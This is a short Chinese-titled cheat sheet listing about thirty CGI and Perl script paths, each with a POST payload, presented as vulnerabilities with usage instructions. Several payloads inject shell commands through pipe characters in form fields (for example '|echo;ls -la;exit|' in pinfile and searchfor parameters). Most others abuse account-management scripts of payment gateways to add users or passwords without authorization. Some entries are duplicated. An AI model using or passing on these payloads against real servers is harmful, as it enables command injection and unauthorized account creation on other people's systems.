Cgi-bin 30个漏洞＋使用方法

==============================


/smspass.pl
username=username&password=password


/index.cgi
wei=ren&gen=command


/passmaster.cgi
Action=Add&Username=Username&Password=Password


/accountcreate.cgi
username=username&password=password&ref1=|echo;ls|


/form.cgi
name=xxxx&email=email&subject=xxxx&response=|echo;ls|


/addusr.pl
/cgi-bin/EuroDebit/addusr.pl
user=username&pass=Password&confirm=Password


/ccbill-local.asp
post_values=username:password


/count.cgi
pinfile=|echo;ls -la;exit|


/recon.cgi
/recon.cgi?search
searchoption=1&searchfor=|echo;ls -al;exit|


/verotelrum.pl
vercode=username:password:dseegsow:add:amount<&30>


/af.cgi
_browser_out=|echo;ls -la;exit;|


/modify.cgi
username=username&password=password&expire=30


/openjournal.cgi
edit=1&ct=2&go=|echo;ls -al;exit|


/gx9passwd.cgi
cmd=ADD&user=username&pass=password


/probecontrol.cgi
command=enable&username=username&password=password


/recon.cgi
searchoption=3&searchfor=echo;ls -la;exit


/htadd.pl
configfile=|echo; ls -alt; exit


/gx9passwd.cgi
cmd=ADD&user=username&pass=password


/ibill*.pl
reqtype=add&authpwd=authpwd&username=username&password=password


/cpay.cgi
command=add_member&username=username(EMAIL)&password=password(DES)


/globill_ut.cgi
do=add&username=username&password=password&wpassword=password


/usercontrol.cgi
command=enable&username=USER&password=PASS


/globoSALErum.cgi
action=ADD&seccode=seccode&login=username&password=password


/addusr.pl
user=USER&pass=PASS&confirm=PASS


/pincount.cgi
/cgi-bin/mastergate/pincount.cgi
pinfile=|echo;pwd;exit|


/accountcreate.cgi
/cgi-bin/gateway/accountcreate.cgi
username=username&password=password&password2=password&ref1=|echo;ls -al;exit


/af.cgi
/env.cgi
ADD+;echo;pwd;exit


/count.cgi
pinfile=|echo;pwd;exit|


/recon.cgi
searchoption=1&searchfor=|echo;ls%20-al;exit|


/add.cgi
username=username&password=password&expire=30


==============================